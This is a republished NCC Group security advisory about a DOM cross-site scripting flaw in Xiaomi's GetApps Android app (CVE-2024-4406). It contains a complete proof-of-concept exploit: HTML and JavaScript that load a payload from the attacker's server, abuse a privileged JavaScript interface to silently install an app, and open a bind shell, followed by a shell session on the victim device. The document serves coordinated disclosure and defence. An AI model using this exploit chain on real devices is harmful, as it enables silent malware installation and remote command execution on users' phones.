Original post: https://www.nccgroup.com/us/research-blog/technical-advisory-xiaomi-13-pro-code-execution-via-getapps-dom-cross-site-scripting-xss/

Product GetApps Store Android Application (com.xiaomi.mipicks) 30.4.1.0 and below
Severity High
CVE Reference CVE-2024-4406 (ZDI), CVE-2024-45346 (Xiaomi)
Type URL Filter Bypass

Summary

The GetApps Android Application (com.xiaomi.mipicks) versions 30.4.1.0 and below are vulnerable to a DOM Cross-Site Scripting issue within a privileged WebView. Using this issue, it was possible to execute against a privileged JavaScript Interface to install and open any application available in the GetApps application store.

Impact

If a malicious application were to be uploaded to the GetApps application store, then this issue could be used to install said application and execute arbitrary shell commands on the victim device.

Exploit

To successfully exploit this issue, two files are required to be hosted on an attacker’s web server:

  • index.html
  • yay.js

The contents of index.html is below:

<html>
<head>
        <title>yaytitleyay</title>
</head>
<body>
        <script type="text/javascript">
                var yayhostyay = location.hostname; // gets host / domain, can also set this to a static value
                var yayportyay = location.port // must be a port number of some sort, or let the script get the prot number by itself
                var yaypayloadyay = "{\"title\":\"look at my PoC!\",\"type\":\"yaytypeyay\\u0022\\u003e\\u003csvg onload\\u003d\\u0022javascript\\u003aj\\u003ddocument.createElement('script');j.src\\u003d'http\\u003a\\u002f\\u002f" + yayhostyay + "\\u003a" + yayportyay + "\\u002fyay.js';document.getElementsByTagName('head')[0].appendChild(j);\\u0022\\u003e\",\"subtitle\":\"brought to you by NCC Group\",\"tips\":\"also Pichu is awesome\",\"btnTips\":\"yayexploityay\"}"
                var yayhyperlinkyay = "intent://browse?url=file%3A%2F%2Fintegral-dialog-page.html?integralInfo=" + encodeURIComponent(yaypayloadyay) + "#Intent;action=android.intent.action.VIEW;scheme=mimarket;end"

                var a = document.createElement("a");
                a.href = yayhyperlinkyay;
                a.id = "yayidyay";
                a.innerHTML = "YAYPOCYAY";
                document.getElementsByTagName('body')[0].appendChild(document.createElement("h1"))
                document.getElementsByTagName('h1')[0].appendChild(a);
        </script>
</body>
</html>

The contents of yay.js is below:

const sleep = async (milliseconds) => {
    await new Promise(resolve => {
        return setTimeout(resolve, milliseconds)
    });
};

const thePayloadYay = async () => {
    var yayflagyay = 1;
    while (yayflagyay == 1){
		var yayinstalledappsyay = marketAPI.getInstalledApps({});
		var yayappslengthyay = yayinstalledappsyay.length;
		var yaycounteryay = 0;
		while (yaycounteryay != yayappslengthyay) {
			if (yayinstalledappsyay[yaycounteryay].packageName === "com.<redacted>.sunfish") {
				marketAPI.openApp({"pName":"com.<redacted>.sunfish"});
				yayflagyay = 0;
			}
			yaycounteryay = yaycounteryay + 1;
		}
	}
	marketAPI.showToast({"content":"waiting for the app to be installed"})
    await sleep(5000);
    
}

marketAPI.install({"extra_params":{"downloadImmediately":"true","fromUntrustedHost":"false","sourcePackage":"com.miui.home","startDownload":"true","callerPackage":"com.xiaomi.mipicks","ext_apm_isColdStart":"false","callerSignature":"88daa889de21a80bca64464243c9ede6","launchWhenInstalled":"true","ext_apm_timeSinceColdStart":"1362443","senderPackageName":"com.xiaomi.mipicks","entrance":"detail","pageRef":"com.xiaomi.mipicks","appClientId":"com.xiaomi.mipicks","refs":"-detail/com.<redacted>.sunfish","sid":"","rId":0,"ad":0,"appStatusType":0,"pName":"com.<redacted>.sunfish","pos":"detailInstallBtn","posChain":"detailInstallBtn","newUser":true,"activedTimeInterval":583925,"adExchangeFlag":0,"_ir_":"8rj6UL-fpnYa7BCFmBSqp5jbHJSm_GgzL6bgn7GqAwc","ext_apm_iconType":"static","ext_apm_isHotTag":false},"ref":"_detailInstallBtn","title":"Sunfish","pName":"com.<redacted>.sunfish","appId":3004617,"appInfo":{"grantCode":0,"openLinkGrantCode":1,"voiceAssistTag":false,"commentable":false,"id":3004617,"appId":3004617,"packageName":"com.<redacted>.sunfish","displayName":"Sunfish","publisherName":"<redacted>","versionName":"1.2.2","versionCode":9,"updateTime":1694181164626,"apkSize":3710211,"compressApkSize":0,"icon":"AppStore/06c542c55a34b47d4a12a45bfe4187f5d8b5d8f10","level1CategoryId":30,"intlCategoryId":30,"ads":0,"adType":1,"position":0,"briefShow":"Help ensure the security of your Android applcation.","briefUseIntro":false,"releaseKeyHash":"0e140764979f5c5c0c44fd526aae29e3",},"sid":"","callBack":"marketAsyncCb.installCb"})
thePayloadYay();

The target device should then use a web browser to browse to http://<attacker’s server>/index.html and click on the hyperlink present on the webpage. When this happens, the above JavaScript will execute which will result in the application “Sunfish” being installed and opened on the device without the user’s consent.

Sunfish is a re-skinned version of Drozer, which starts a bind shell on network interfaces on the device. From there, its possible for the attacker to connect to Sunfish and execute arbitrary commands:

root@2ee5edd7a244:/# sunfish console connect --server <phone IP address>
Selecting 746aece8a83d73e2 (Xiaomi 2210132G 13)

                              _.'.__
                           _.'      .
     ':'.               .''   __ __  .
       '.:._          ./  _ ''     '-'.__
     .'''-: '''-._    | .                '-'._
      '.     .    '._.'                       '
         '.   '-.___ .        .'          .  :o'.
           |   .----  .      .           .'     (
            '|  ----. '   ,.._                _-'
             .' .---  |.''  .-:;.. _____.----'
             |   .-''''    |      '
           .'  _'         .'    _'   Sunfish
          |_.-'            '-.'

sunfish Console (v2.4.4)
sunfish> shell
:/data/user/0/com.<redacted>.sunfish $ whoami
u0_a302
:/data/user/0/com.<redacted>.sunfish $ id
uid=10302(u0_a302) gid=10302(u0_a302) groups=10302(u0_a302),3003(inet),9997(everybody),20302(u0_a302_cache),50302(all_a302) context=u:r:untrusted_app_27:s0:c46,c257,c512,c768

Technical Details

Browsable Intent Details

The exported activity com.xiaomi.market.ui.JoinActivity can be launched via Browsable Intent and executes different Java functions based on the contents of said Browsable Intent. One of the functions, called handleBrowse(Uri), can launch a privileged WebView with a potentially dangerous JavaScript Interface. This function can be executed if the “data” within the Browsable Intent contains the following:

  • A “scheme” value of mimarket
  • A “host” value of browse

To limit potential attacks which abuse the JavaScript Interface, the application will not let handleBrowse(Uri) launch the privileged WebView unless the URL is whitelisted. The logic for assessing and validating URLs can be found in class com.xiaomi.market.util.UrlCheckUtilsKt method isUrlMatchLevel(String, HostLevel, boolean).

Below is a high level description of what are considered valid URLs:

  • If the URL starts with https://, then the host value must match a whitelisted domain (the whitelist is kept internally within the application)
  • If the URL starts with file://, then the host and path values must match one of the files found in the directory /data/data/com.xiaomi.mipicks/files/web-res-XXXX on the device

Below is a code snippet of the URL being passed from handleBrowse(Uri) to isUrlMatchLevel(String, HostLevel, boolean):

public class JoinActivity extends BaseActivity {
...
private void handleBrowse(Uri uri){
  Intent targetIntent;
  ...
  String queryParameter = uri.getQueryParameter(“url”);
  ...
  if (UrlCheckUtilsKt.isJsInterfaceAllowed(queryParameter)) {
    targetIntent = getTargetIntent(intFromIntent == 1 ? FloatWebActivity.class : CommonWebActivity.class);
  ...
  targetIntent.putExtra(“url”), queryParameter;
  ...
  startActivity(targetIntent);
public final class UrlCheckUtilsKt {
public static final boolean isJsInterfaceAllowed(String str) {
  ...
  boolean isUrlMatchLevel = isUrlMatchLevel(str, HostLevel.TRUSTED)
...
public static final boolean isUrlMatchLevel(String str, HostLevel level){
  ...
  boolean isUrlMatchLevel = isUrlMatchLevel(str, level, true)
...
public static final boolean isUrlMatchLevel(String str, HostLevel level, boolean z)({

If the URL is considered valid, then one of the following WebViews will be launched via startActivity(Intent):

  • com.xiaomi.market.ui.FloatWebActivity
  • com.xiaomi.market.ui.CommonWebActivity

As an example, the following Browsable Intent can be used to launch the exported activity com.xiaomi.market.ui.JoinActivity, open the privileged WebView com.xiaomi.market.ui.CommonWebActivity, and open the file /data/data/com.xiaomi.mipicks/files/web-res-2520/detail.html:

<a id="yayidyay" rel="noreferrer" href="intent://browse?url=file%3A%2F%2Fdetail.html#Intent;action=android.intent.action.VIEW;scheme=mimarket;end">YAYPOCYAY</a>

Below is a screenshot of the resulting detail.html page. It should be noted that the lack of content is intentional:

DOM Cross-Site Scripting (XSS)

The folder /data/data/com.xiaomi.mipicks/files/web-res-2520/ contained the following types of files:

  • HTML files – render basic HTML and load JavaScript files to render content
  • JavaScript files – the JavaScript files that are loaded by the HTML files

Most of the JavaScript files contained an integrated function to filter potentially dangerous characters (the function itself was aptly named “XSS”). This is because some HTML files were required to take user input (via URL GET parameters) and fill out the HTML content based on the user input.

However, the file integral-dialog-page-chunk.js did not filter out dangerous characters in one area, resulting in the ability to perform a DOM Cross-Site Scripting (XSS) attack in the page integral-dialog-page.html.

Below is a Browsable Intent PoC which demonstrates this by executing the command alert(1) after loading the page integral-dialog-page.html:

<h1> 
<a id="yayidyay" rel="noreferrer" href="intent://browse?url=file%3A%2F%2Fintegral-dialog-page.html?integralInfo=%7b%22%74%69%74%6c%65%22%3a%22%6c%6f%6f%6b%20%61%74%20%6d%79%20%50%6f%43%21%22%2c%22%74%79%70%65%22%3a%22%79%61%79%74%79%70%65%79%61%79%5c%75%30%30%32%32%5c%75%30%30%33%65%5c%75%30%30%33%63%73%76%67%20%6f%6e%6c%6f%61%64%5c%75%30%30%33%64%5c%75%30%30%32%32%6a%61%76%61%73%63%72%69%70%74%5c%75%30%30%33%61%61%6c%65%72%74%28%27%70%72%69%76%69%6c%65%67%65%64%20%6d%61%72%6b%65%74%41%50%49%3a%20%27%20%2b%20%6d%61%72%6b%65%74%41%50%49%29%5c%75%30%30%32%32%5c%75%30%30%33%65%22%2c%22%73%75%62%74%69%74%6c%65%22%3a%22%62%72%6f%75%67%68%74%20%74%6f%20%79%6f%75%20%62%79%20%4e%43%43%20%47%72%6f%75%70%22%2c%22%74%69%70%73%22%3a%22%61%6c%73%6f%20%50%69%63%68%75%20%69%73%20%61%77%65%73%6f%6d%65%22%2c%22%62%74%6e%54%69%70%73%22%3a%22%79%61%79%65%78%70%6c%6f%69%74%79%61%79%22%7d#Intent;action=android.intent.action.VIEW;scheme=mimarket;end">
        YAYPOCYAY</a>
</h1>

Decoded payload value:

file://integral-dialog-page.html?integralInfo={"title":"look at my PoC!","type":"yaytypeyay"><svg onload="javascript:alert(1)">","subtitle":"brought to you by NCC Group","tips":"also Pichu is awesome","btnTips":"yayexploityay"}

Privileged JavaScript Interface WebEvent

The previously mentioned privileged WebView loads the JavaScript Interface “WebEvent” (com.xiaomi.market.webview.WebEvent).

This JavaScript Interface contained two useful methods which could be executed via JavaScript:

  • install(String) – this method will install any application that is available on the getApps store, assuming that the application is available within the region that the device is configured for
  • openApp(String) – this method will find the launch intent for any installed application and run that intent, opening the specified application

Launching WebView and Executing Against WebView

In order to execute JavaScript against the “WebEvent” JavaScript Interface, the integral-dialog-page.html page must be launched and user input must contain the appropriate JavaScript.

The following Browsable Intent can be used to launch the privileged WebView, load the page integral-dialog-page.html, and execute the JavaScript command alert(marketAPI). This shows that it is possible to execute arbitrarily against the privileged JavaScript Interface found at com.xiaomi.market.webview.WebEvent:

<h1> 
<a id="yayidyay" rel="noreferrer" href="intent://browse?url=file%3A%2F%2Fintegral-dialog-page.html?integralInfo=%7b%22%74%69%74%6c%65%22%3a%22%6c%6f%6f%6b%20%61%74%20%6d%79%20%50%6f%43%21%22%2c%22%74%79%70%65%22%3a%22%79%61%79%74%79%70%65%79%61%79%5c%75%30%30%32%32%5c%75%30%30%33%65%5c%75%30%30%33%63%73%76%67%20%6f%6e%6c%6f%61%64%5c%75%30%30%33%64%5c%75%30%30%32%32%6a%61%76%61%73%63%72%69%70%74%5c%75%30%30%33%61%61%6c%65%72%74%28%27%70%72%69%76%69%6c%65%67%65%64%20%6d%61%72%6b%65%74%41%50%49%3a%20%27%20%2b%20%6d%61%72%6b%65%74%41%50%49%29%5c%75%30%30%32%32%5c%75%30%30%33%65%22%2c%22%73%75%62%74%69%74%6c%65%22%3a%22%62%72%6f%75%67%68%74%20%74%6f%20%79%6f%75%20%62%79%20%4e%43%43%20%47%72%6f%75%70%22%2c%22%74%69%70%73%22%3a%22%61%6c%73%6f%20%50%69%63%68%75%20%69%73%20%61%77%65%73%6f%6d%65%22%2c%22%62%74%6e%54%69%70%73%22%3a%22%79%61%79%65%78%70%6c%6f%69%74%79%61%79%22%7d#Intent;action=android.intent.action.VIEW;scheme=mimarket;end">
        YAYPOCYAY</a>
</h1>

Decoded payload value:

file://integral-dialog-page.html?integralInfo={"title":"look at my PoC!","type":"yaytypeyay"><svg onload="javascript:alert('privileged marketAPI: ' + marketAPI)">","subtitle":"brought to you by NCC Group","tips":"also Pichu is awesome","btnTips":"yayexploityay"}

Screenshot:

Using this, it is possible to execute the JavaScript Interface functions install(String) and openApp(String). To fully take advantage of this issue, an attacker would need to upload a malicious app to the GetApps store. Then this exploit will need to be abused to install said malicious application and launch it automatically.

Sunfish

To demonstrate the severity of this issue, NCC Group uploaded the application “Sunfish” to the GetApps store. Sunfish is a re-skinned version of Drozer, whish a common tool used for penetration testing of Android devices. This version of Sunfish/Drozer is also configured to start a bind shell when the application is launched.

Combining the Pieces

With all of the information above, the workflow for this exploit looks like the following:

  • User with a Xiaomi 13 Pro browses to an attacker controlled web server and clicks a hyper link that was crafted by the attacker
  • The GetApps application is launched and the privileged WebView is launched
  • The DOM XSS issue is exploited to inject custom JavaScript into the privileged WebView
  • The attacker controlled custom JavaScript executes commands against the “WebEvent” JavaScript Interface to install and open Sunfish
  • Sunfish is launched, and a bind shell is started
  • The attacker connects to the bind shell, which can then execute commands within the context of Sunfish

Disabled Browsers for Specific Versions of GetApps

During Pwn2Own Toronto 2023, Xiaomi temporarily implemented code into the GetApps application which would block the ability to launch JoinActivity via Browsable Intent. This code was later removed from GetApps after the Pwn2Own competition had concluded.

Below is a list of GetApps versions, their SHA256 hashes, and which browsers are prohibited from launching JoinActivity:

The application logic to block the above browsers can be seen in the below code snippet, taken from GetApps version 30.2.7.0.

The value matchSpecialCallingPackage is set to true if the Browsable Intent was sent from one of the above blacklisted browsers. Since matchSpecialCallingPackage is true, the method handleIntent() will always return before the handleBrowse(Uri uri) function can be executed.

public class JoinActivity extends BaseActivity {
...
    private void handleInent() {
    ...
    boolean matchSpecialCallingPackage = matchSpecialCallingPackage();
    ...
                if (matchSpecialCallingPackage) {
                        if (!TextUtils.equals(targetPage, PAGE_DETAILS) && !TextUtils.equals(targetPage, "detail") && !TextUtils.equals(targetPage, PAGE_LAUNCH_DETAIL)) {
                            launchTargetActivity(MarketTabActivity.class);
                        } else {
                            handleDetails(intent, scheme, targetPage);
                        }
                        MethodRecorder.o(9268);
                        return;
                    }
                ...
                if (TextUtils.equals(targetPage, PAGE_BROWSE)) {
                        handleBrowse(data);
                        MethodRecorder.o(9268);
                        return;
                    }
private boolean matchSpecialCallingPackage() {
    ...
    boolean contains = sBlackPkgArrayList.contains(getCallingPackage());
    ...
    return contains;
}

Recommendation

Xiaomi has stated that this issue was resolved in GetApps version 32.0.0.1. Users should update their GetApps application to at least that version.

Timeline

Date Summary
2023-10-25 Exploit demonstrated at Pwn2Own Toronto 2023, exploit details handed over to Zero Day Initiative (ZDI)
2023-11-09 ZDI reported vulnerability to Xiaomi
2024-05-01 Coordinated public release of advisory, CVE assigned by ZDI
2024-08-09 CVE assigned by Xiaomi

NOTE: On 2024-05-01, Xiaomi had not assigned a CVE for this issue. When ZDI worked with Xiaomi to patch this issue, Xiaomi informed ZDI they would assign a CVE, but never followed through. So instead, ZDI has assigned the CVE number CVE-2024-4406 for this issue.

NOTE 2: On 2024-08-09, Ken Gannon and Ilyes Beghdadi gave a talk at Defcon 32 about the story behind this exploit. After that talk, Xiaomi updated their security advisory page to reflect that a CVE was assigned by Xiaomi. The CVE was also backdated to 2024-05-06.